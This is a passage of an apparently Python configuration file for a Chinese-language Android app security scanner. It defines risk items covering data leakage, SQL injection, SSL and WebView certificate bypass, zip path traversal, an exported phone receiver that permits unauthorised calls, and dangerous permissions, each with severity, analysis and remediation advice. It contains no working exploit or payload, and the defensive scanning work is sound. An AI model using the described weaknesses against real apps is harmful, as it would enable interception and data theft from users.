'2_8' : {\r\n        'type' : 1,\r\n        'name' : u'敏感数据残留',\r\n        'desc' : u'应用储存的用户信息残留在旧界面和容器中会导致泄露',\r\n        'level' : u'高危',\r\n        'harm' : u'残留数据中包含的敏感信息泄露',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'网络缓存数据、GUI对象缓存、用户名密码缓存数据等未能及时清除会导致用户数据被窃取盗用',\r\n        'adviseT' : u'1.设置浏览器不储存缓存或用clearCache()方法来删除任何存储在本地的文件\\n2.在用户离开（切换）应用界面或者注销登录时清除gui界面的数据\\n3.在每一个activity（界面）启动的时候检测用户是否处于登录状态，如果没有则跳转到登录界面',\r\n    },\r\n\r\n    '2_9' : {\r\n        'type' : 1,\r\n        'name' : u'数据访问控制',\r\n        'desc' : u'数据需要分级处理，设置访问限制',\r\n        'level' : u'高危',\r\n        'harm' : u'应用数据中的敏感信息会泄露',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'一方面数据存放的位置决定了数据是否是公开，因此重要数据需要存放在包内的文件夹；另一方面数据需要进行加密',\r\n        'adviseT' : u'重要数据需要进行加密处理，并设置较高访问权限限制',\r\n    },\r\n\r\n    '2_10' : {\r\n        'type' : 1,\r\n        'name' : u'敏感数据加密',\r\n        'desc' : u'用户信息、程序逻辑可能泄露',\r\n        'level' : u'高危',\r\n        'harm' : u'敏感数据中可能包括用户隐私等，造成泄露可能会被第三方利用',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'用户信息是应用程序应当保护的，不仅仅包括用户的用户名和密码，同样也包括用户的社交信息、照片、视频等。这些文件如果存放在不合适的目录中，就可能使得用户的信息能够被其他程序获取。因此需要对这些信息进行加密。同时，应用内部的一些重要资源，也应当进行加密，防止应用被破解',\r\n        'adviseT' : u'对所有敏感数据文件进行加密',\r\n    },\r\n\r\n    '2_11' : {\r\n        'type' : 0,\r\n        'name' : u'内存数据安全',\r\n        'desc' : u'评估样本是否存在内存数据安全问题',\r\n        'level' : u'高危',\r\n        'harm' : u'用户信息、密码等敏感重要的信息明文存储，导致攻击者可通过root手机来查看敏感信息。',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'sqliteEncrypt、SDCard、SharedPreferences中的隐私数据（帐号、密码等）通过明文保存，或者使用弱加密算法进行加密，很容易被黑客获取并利用，导致隐私数据等敏感信息泄露；创建文件时，设置为全局可读或可写，很容易被黑客利用，获取文件中存储的隐私信息或者篡改文件内容，从而导致用户敏感信息泄露、财产受损等风险',\r\n        'adviseT' : u'1.用MODE_PRIVATE模式创建SharedPreference文件、应��内部存储文件、创建sqlite文件、应用内部存储文件；\\n2.高强度加密算法加密用户隐私数据，强烈建议SDCard不存储用户数据，如必须存储，请使用高强度的加密算法；\\n 3.建议AES/DES加密时使用CBC或者CFB模式',\r\n    },\r\n\r\n    '2_12' : {\r\n        'type' : 1,\r\n        'name' : u'远程数据通信加密',\r\n        'desc' : u'在远程数据通讯过程中，使用未加密协议传输数据时，所有数据均为明文传输',\r\n        'level' : u'高危',\r\n        'harm' : u'传输数据容易被截获进行抓包分析数据包中的敏感信息容易被分析篡改',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于没有使用加密协议，数据包内容没有得到有效保护，导致传输中的敏感信息容易被分析篡改',\r\n        'adviseT' : u'1.尽量使用https等加密协议进行数据传输\\n2.数据包中的敏感信息不能用明文传输',\r\n    },\r\n\r\n    '2_13' : {\r\n        'type' : 1,\r\n        'name' : u'数据传输完整性',\r\n        'desc' : u'在数据传输过程中，数据可以被截获和篡改，篡改后的数据包会导致信息失效或失真，给用户利益造成损失',\r\n        'level' : u'高危',\r\n        'harm' : u'使传输的数据内容或结构破坏，导致信息失效无法被接收方使用使传输的数据内容改变，导致信息失真，无法传递准确的信息到接收方',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于数据传输时信道或其他因素导致数据会发生错误或被恶意篡改，如果没有校验机制或防篡改机制，数据完整性很容易产生风险',\r\n        'adviseT' : u'1.使用加密通信协议进行传输，防止信息被恶意篡改\\n2.使用纠错校验机制对信息进行校验和纠错，防止信息发生失效',\r\n    },\r\n\r\n    '2_14' : {\r\n        'type' : 1,\r\n        'name' : u'本地数据通讯安全',\r\n        'desc' : u'本地数据在系统组件之间传递时需要对数据的有效性和准确性进行过滤和检验',\r\n        'level' : u'高危',\r\n        'harm' : u'如果本地数据通讯过程中，数据源发送错误数据或传送中被恶意篡改都会导致应用出现异常甚至被恶意利用',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'数据源传递错误数据可以导致应用异常或产生拒绝服务,数据传输中被恶意篡改可以使应用被错误信息控制',\r\n        'adviseT' : u'Activity组件在相互交互时要严格过滤Intent内容，防止无效或错误内容处理,ContentProvider组件在交互时要对Cursor对象严格过滤;Broadcast组件要对广播信息进行筛选;AIDL Service组件要过滤接口收到的信息',\r\n    },\r\n\r\n    '2_15' : {\r\n        'type' : 1,\r\n        'name' : u'转账安全性检测',\r\n        'desc' : u'评估样本app是否存在不安全的转账行为',\r\n        'level' : u'高危',\r\n        'harm' : u'转账安全性问题会导致用户个人信息及账号信息的泄露，造成隐私和财产损失',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'需要对转账的整个过程进行风险评估，判断是否存在安全性风险',\r\n        'adviseT' : u'建议对APP的转账安全性进行加固',\r\n    },\r\n\r\n    '2_16' : {\r\n        'type' : 1,\r\n        'name' : u'安装包中敏感信息加密',\r\n        'desc' : u'评估样本app的安装包敏感信息是否存在被盗取的风险',\r\n        'level' : u'高危',\r\n        'harm' : u'若安装包敏感信息未加密，可能导致程序被反编译和二次编译，APP被伪造和篡改。',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'需要检查安装包中的存在敏感信息的文件是否被加密',\r\n        'adviseT' : u'建议对APP的安装包文件进行安全加固',\r\n    },\r\n\r\n    '2_17' : {\r\n        'type' : 1,\r\n        'name' : u'界面切换后面敏感信息需清空',\r\n        'desc' : u'评估样本app在切换界面后是否会留存敏感信息，产生泄露风险',\r\n        'level' : u'高危',\r\n        'harm' : u'敏感信息未清空，可能导致敏感信息被盗取',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在界面切换操作时，是否存在对敏感信息的处理',\r\n        'adviseT' : u'建议对APP编码中的界面切换进行安全加固',\r\n    },\r\n\r\n    '2_18' : {\r\n        'type' : 1,\r\n        'name' : u'数据输入敏感数据显示',\r\n        'desc' : u'评估样本app是否存在数据输入敏感数据显示的风险',\r\n        'level' : u'中危',\r\n        'harm' : u'身份证或密码未做掩盖，存在被窃取的风险',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'APP需要输入的敏感信息存在被用户周围窥探者窃取的风险',\r\n        'adviseT' : u'对APP的敏感数据输入环节做安全性加固',\r\n    },\r\n\r\n    '2_19' : {\r\n        'type' : 1,\r\n        'name' : u'本地数据通讯权限检查',\r\n        'desc' : u'评估样本是否存在超越权限的通讯或信息泄露行为',\r\n        'level' : u'中危',\r\n        'harm' : u'存在权限风险的app存在本地Dos攻击、强制恢复出厂设置、信息泄露的风险',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于使用不安全的通讯方式，未进行最小权限设置，对app通讯路径检查不完全，造成拒绝废服务攻击及合谋攻击的风险',\r\n        'adviseT' : u'建议对APP应用实施权限审核及通讯加固',\r\n    },\r\n\r\n    '2_20' : {\r\n        'type' : 1,\r\n        'name' : u'数据输出敏感数据显示',\r\n        'desc' : u'评估样本app是否存在数据输出敏感数据显示的风险',\r\n        'level' : u'低危',\r\n        'harm' : u'身份证或密码未做掩盖，存在被窃取的风险',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'APP需要输出的敏感信息存在被用户周围窥探者窃取的风险',\r\n        'adviseT' : u'对APP的敏感数据输出环节做安全性加固',\r\n    },\r\n\r\n    '2_21' : {\r\n        'type' : 0,\r\n        'name' : u'卸载清除',\r\n        'desc' : u'评估样本是否存在app文件未彻底删除的文件及缓存',\r\n        'level' : u'低危',\r\n        'harm' : u'APP卸载不彻底，未彻底删除的文件及缓存泄露用户信息',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'APP在卸载后，APP安装目录存在未卸载完成的文件或缓存文件未进行更新，用户隐私数据存在泄漏的危险',\r\n        'adviseT' : u'建议对APP应用实施彻底清除的审核',\r\n    },\r\n\r\n    '2_22' : {\r\n        'type' : 1,\r\n        'name' : u'证书验证',\r\n        'desc' : u'应用中在使用ssl、https等通信协议时，使用不当会造成校验失效等问题',\r\n        'level' : u'低危',\r\n        'harm' : u'证书验证失效会造成所有证书都成为可信证书，对连接失去保护机制',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于环境问题或连接的限制，部分应用在开发中会选择信任所有证书，造成证书验证失效',\r\n        'adviseT' : u'尽量使用有效的证书验证连接',\r\n    },\r\n\r\n    '2_23' : {\r\n        'type' : 1,\r\n        'name' : u'会话安全',\r\n        'desc' : u'应用会话中会使用的cookie、url参数等信息可以被恶意分析者利用',\r\n        'level' : u'中危',\r\n        'harm' : u'1.恶意分析人员可以通过cookie、url参数等信息分析程���功能\\n2.会话信息可以被修改参数内容导致应用行为异常',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于会话信息可以被分析修改，导致会话中的信息可以被分析或者篡改，用于非法用途',\r\n        'adviseT' : u'1.对会话内容进行加密，防止恶意分析\\n2.对会话内容进行校验，防止恶意篡改',\r\n    },\r\n\r\n    '2_24' : {\r\n        'type' : 1,\r\n        'name' : u'重放攻击',\r\n        'desc' : u'应用中关键信息没有进行序列和计数校验，可以引起重放攻击',\r\n        'level' : u'中危',\r\n        'harm' : u'对关键信息的多次请求会导致短时间内执行多个操作，会导致关键信息被恶意篡改',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于对请求序列和计数校验不完善或不准确将导致重放攻击的发生',\r\n        'adviseT' : u'在开发过程中对请求的序列和频率进行限制，防止频繁重放攻击',\r\n    }\r\n}\r\n\r\nVulItemDict = {\r\n    '3_0' : {\r\n        'type' : 0,\r\n        'name' : u'电话拨打权限绕过漏洞检查',\r\n        'desc' : u'com.android.phone.PhoneGlobals$NotificationBroadcastReceiver是导出的且没有做任何的权限限制，任意应用都可以发送intent来调用它',\r\n        'level' : u'高危',\r\n        'harm' : u'恶意应用可以通过发送构造的intent来调用NotificationBroadcastReceiver实现对指定电话号码的拨打',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于android开发人员的疏忽，BroadcastReceiver导出应该在其标签中加上属性android:exported=”false”,但开发人员漏掉了”android:”，写成了exported=”false”，这样的属性是不起作用的，而包含有intent filters的BroadcastReceiver默认是导出的，从而导致此漏洞的发生',\r\n        'adviseT' : u'1.代码审计应用中是否被恶意植入了相关调用的代码\\n2.尽量使用已修复该漏洞的系统版本',\r\n    },\r\n\r\n    '3_1' : {\r\n        'type' : 0,\r\n        'name' : u'反射漏洞注入风险',\r\n        'desc' : u'ContentProvider组件访问SQL数据时SQL语句可以被进行反射型注入',\r\n        'level' : u'中危',\r\n        'harm' : u'SQL注入会引起SQL数据的泄露，导致敏感信息被访问',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于SQL语句的处理不规范，导致SQL反射注入风险的存在',\r\n        'adviseT' : u'使用SQL参数化查询',\r\n    },\r\n\r\n    '3_2' : {\r\n        'type' : 0,\r\n        'name' : u'选择漏洞注入风险',\r\n        'desc' : u'ContentProvider组件访问SQL数据时SQL语句可以被进行选择型注入',\r\n        'level' : u'中危',\r\n        'harm' : u'SQL注入会引起SQL数据的泄露，导致敏感信息被访问',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于SQL语句的处理不规范，导致SQL选择注入风险的存在',\r\n        'adviseT' : u'使用SQL参数化查询',\r\n    },\r\n\r\n    '3_3' : {\r\n        'type' : 0,\r\n        'name' : u'内网测试信息残留',\r\n        'desc' : u'应用文件中存在残留的调试信息或调试网址，可能被其他恶意用户利用和分析',\r\n        'level' : u'低危',\r\n        'harm' : u'调试网址暴露可以被用于分析和渗透应用的测试服务器',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于应用文件中存在残留的调试信息或调试网址，恶意用户可以通过分析调试信息和渗透测试服务器对应用逻辑进行分析或获取服务器端关键信息',\r\n        'adviseT' : u'1.将不用测试网址信��及时清除\\n2. 关闭不再使用的测试服务',\r\n    },\r\n\r\n    '3_4' : {\r\n        'type' : 1,\r\n        'name' : u'下载任意APK',\r\n        'desc' : u'更新用的APK可能被劫持',\r\n        'level' : u' 中危',\r\n        'harm' : u'地址被劫持后，可能被替换成恶意APK。',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于没有检验升级网址的签名，有可能被中间人攻击',\r\n        'adviseT' : u'1.不使用友盟SDK\\n2. 下载功能Service组件不要导出，不要允许隐式调用',\r\n    },\r\n\r\n    '3_5' : {\r\n        'type' : 1,\r\n        'name' : u'全局可读写内部文件',\r\n        'desc' : u'评估样本是否存在全局可读写内部文件的风险',\r\n        'level' : u' 低危',\r\n        'harm' : u'攻击者利用该越权漏洞，对手机系统全局文件进行恶意篡改',\r\n        'score' : 1,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'不正确的权限设置，导致系统的文件系统暴露在攻击者范围下，可以随意篡改非root权限的文件',\r\n        'adviseT' : u'修改文件的访问权限',\r\n    },\r\n\r\n    # '3_6' : {\r\n    #     'type' : 0,\r\n    #     'name' : u'WebView安全',\r\n    #     'desc' : u'评估样本是否存在WebView漏洞被恶意利用',\r\n    #     'level' : u' 中危',\r\n    #     'harm' : u'1.通过javasrriptInterface接口远程挂马\\n2.远程获取shell',\r\n    #     'score' : 2,\r\n    #     'result' : u'不存在风险',\r\n    #     'analysis' : u'没有导致风险的因素',\r\n    #     'detail' : u'无',\r\n    #     'advise' : u'无',\r\n    #\r\n    #     #存在风险下的注释\r\n    #     'resultT' : u'存在风险',\r\n    #     'analysisT' : u'在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件，可以设置属性（颜色，字体等）。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机',\r\n    #     'adviseT' : u'暂停使用javascriptInterface接口',\r\n    # },\r\n\r\n    '3_7' : {\r\n        'type' : 0,\r\n        'name' : u'HTTPS关闭主机名验证',\r\n        'desc' : u'构造HttpClient时，设置HostnameVerifier时参数使用ALLOW_ALL_HOSTNAME_VERIFIER或空的HostnameVerifier。',\r\n        'level' : u' 中危',\r\n        'harm' : u'关闭主机名校验可以导致黑客使用中间人攻击获取加密内容。',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于业务考虑或开发策略，选择了信任所有证书就会引起问题',\r\n        'adviseT' : u'1.尽量采用校验服务器证书的方式实现业务\\n2.对传输的数据进行检验',\r\n    },\r\n\r\n    '3_8' : {\r\n        'type' : 1,\r\n        'name' : u'Webview绕过证书校验',\r\n        'desc' : u'WebView组件加载网页发生证书认证错误时，会调用WebViewClient类的onReceivedSslError方法，如果该方法实现调用了handler.proceed()来忽略该证书错误，则会受到中间人攻击的威胁，可能导致隐私泄露',\r\n        'level' : u' 中危',\r\n        'harm' : u'绕过证书验证会受到中间人攻击的威胁，从而导致隐私泄露',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'由于业务需求或开发策略，选择了绕过证书错误的实现方式，则会引起漏洞，导致中间人攻击威胁。',\r\n        'adviseT' : u'1.不调用android.webkit.SslErrorHandler的proceed方法\\n2.当发生证书认证错误时，采用默认的处理方法SslErrorHandler.cancel()，停止加载问题页面',\r\n    },\r\n\r\n    '3_9' : {\r\n        'type' : 1,\r\n        'name' : u'浏览器的intent scheme url攻击检测',\r\n        'desc' : u'检测浏览器是否存在\\nintent scheme url漏洞',\r\n        'level' : u' 中危',\r\n        'harm' : u'可能导致应用程序崩溃，也可演变提权漏洞',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险��因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'相比于普通Intend-Based攻击，这种方式极具隐蔽性。这种攻击还能直接访问跟浏览器自身的组件（无论是公开还是私有）和私有文件，比如cookie文件，进而导致用户机密信息的泄露',\r\n        'adviseT' : u'建议浏览器及调用浏览器的app进行安全加固',\r\n    },\r\n\r\n    '3_10' : {\r\n        'type' : 1,\r\n        'name' : u'手势密码绕过',\r\n        'desc' : u'安全防护较弱的手势密码有被破解的风险',\r\n        'level' : u' 中危',\r\n        'harm' : u'App的实施密码未做安全防护，可以被破解或绕过，盗取用户信息',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'手势密码的密码文件存放在默认目录下，恶意用户可以下载并破解，密码输入为经过安全设置，存在手势密码失效的风险',\r\n        'adviseT' : u'对App手势密码进行安全加固，密码文件进行加密处理',\r\n    },\r\n\r\n    '3_11' : {\r\n        'type' : 1,\r\n        'name' : u'被调用安装任意apk',\r\n        'desc' : u'APP程序中存在被任意更新或安装病毒程序的风险',\r\n        'level' : u' 中危',\r\n        'harm' : u'APP程序被强制更新，造成信息损失或拒绝服务攻击',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'APP本身具备更新或者调用系统功能更新app的功能，可以被利用，被其他程序调用并更新，导致拒绝服务攻击',\r\n        'adviseT' : u'对APP程序的更新功能进行安全分析，对存在的任意调用风险进行消除',\r\n    },\r\n\r\n    '3_12' : {\r\n        'type' : 1,\r\n        'name' : u'被调用卸载任意apk',\r\n        'desc' : u'APP程序中存在被任意调用卸载的风险',\r\n        'level' : u' 中危',\r\n        'harm' : u'APP程序被强制卸载，造成信息损失或拒绝服务攻击',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'APP本身具备自我卸载或者调用系统卸载app的功能，可以被利用，被其他程序调用并卸载',\r\n        'adviseT' : u'对APP程序的卸载功能进行安全分析，对存在的任意调用风险进行消除',\r\n    },\r\n    '3_13' : {\r\n        'type' : 0,\r\n        'name' : u'zip文件目录遍历漏洞',\r\n        'desc' : u'方法的返回值中包含有”../”跳转符，需要特别注意不要将文件写到了目标文件夹之外。如果不对”../”跳转符做过滤，就有可能遍历目录，在解压zip文件时以本app的权限覆盖任意文件。',\r\n        'level' : u' 中危',\r\n        'harm' : u'如果没有对 zipEntry.getName进行检查，盲目解压创建文件，将会穿越目录建立文件',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'在生成文件时使用了zipEntry.getName()函数，但未过滤getName()函数的返回值是否含有的上级目录字符串(../),攻击者可构造zip文件通过在getName()中包含../从而改变文件的存放位置',\r\n        'adviseT' : u'在使用zipEntry.getName()生成文件时，过滤上级目录字符串（../）',\r\n    },\r\n\t'3_14' : {\r\n        'type' : 0,\r\n        'name' : u'WebView组件忽略SSL证书验证错误',\r\n        'desc' : u'WebView调用onReceivedSslError方法时，直接执行handler.proceed()来忽略该证书错误',\r\n        'level' : u' 中危',\r\n        'harm' : u'忽略SSL证书错误可能引起中间人攻击',\r\n        'score' : 2,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'Android WebView组件加载网页发生证书认证错误时，会调用WebViewClient类的onReceivedSslError方法，如果该方法实现调用了handler.proceed()来忽略该证书错误，则会受到中间人攻击的威胁，可能导致隐私泄露',\r\n        'adviseT' : u'1.不要重写onReceivedSslError方法， 或者对于SSL证书错误问题按照业务场景判断，避免造成数据明文传输情况',\r\n    }\r\n}\r\n\r\nHarmItemDict = {\r\n    '4_0' : {\r\n        'type' : 0,\r\n        'name' : u'广告检测',\r\n        'desc' : u'评估样本是否存在广告',\r\n        'level' : u'高危',\r\n        'harm' : u'一般广告对客户体验有影响,恶意广告会推送恶意信息',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'通过推送给客户产生垃圾信息',\r\n        'adviseT' : u'检查androidmanifest.xml是否含有广告sdk特征',\r\n    },\r\n        '4_1' : {\r\n        'type' : 1,\r\n        'name' : u'病毒检测',\r\n        'desc' : u'存在病毒的app会导致手机系统受到病毒的破坏，发生隐私泄露，违规的文件读写操作，监控网络数据等操作',\r\n        'level' : u'高危',\r\n        'harm' : u'App的病毒未作安全防护，存在感染病毒的风险',\r\n        'score' : 3,\r\n        'result' : u'不存在风险',\r\n        'analysis' : u'没有导致风险的因素',\r\n        'detail' : u'无',\r\n        'advise' : u'无',\r\n\r\n        #存在风险下的注释\r\n        'resultT' : u'存在风险',\r\n        'analysisT' : u'病毒会导致系统的防护系统失效，获取系统最高权限，执行特点的操作和指令，给用户造成财产损失和隐私泄露',\r\n        'adviseT' : u'使用动态分析和静态分析的方式对病毒进行检测，并对存在的漏洞进行加固',\r\n    }\r\n}\r\n\r\nPermissionItemDict = {\r\n    '5_NONE' : {\r\n        'type' : 0,\r\n        'name' : u'无',\r\n        'desc' : u'无',\r\n        'level' : u'未知',\r\n        'harm' : u'不详',\r\n        'score' : 0,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'无',\r\n        'detail' : u'无',\r\n        'advise' : u'如果没有使用该权限请关闭',\r\n    },\r\n\r\n    #权限名称用包含包名的全名称\r\n    '5_android.permission.WRITE_SMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_SMS',\r\n        'desc' : u'写短信',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得写短信的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_SMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.RECEIVE_SMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.RECEIVE_SMS',\r\n        'desc' : u'监控接收短信',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得监控接收短信的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.RECEIVE_SMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_CONTACTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_CONTACTS',\r\n        'desc' : u'读取联系人信息',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得读取联系人信息的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_CONTACTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_SMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_SMS',\r\n        'desc' : u'读取短信',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得读取短信的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_SMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SEND_SMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SEND_SMS',\r\n        'desc' : u'发送短信',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得发送短信的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SEND_SMS',\r\n        'advise' : 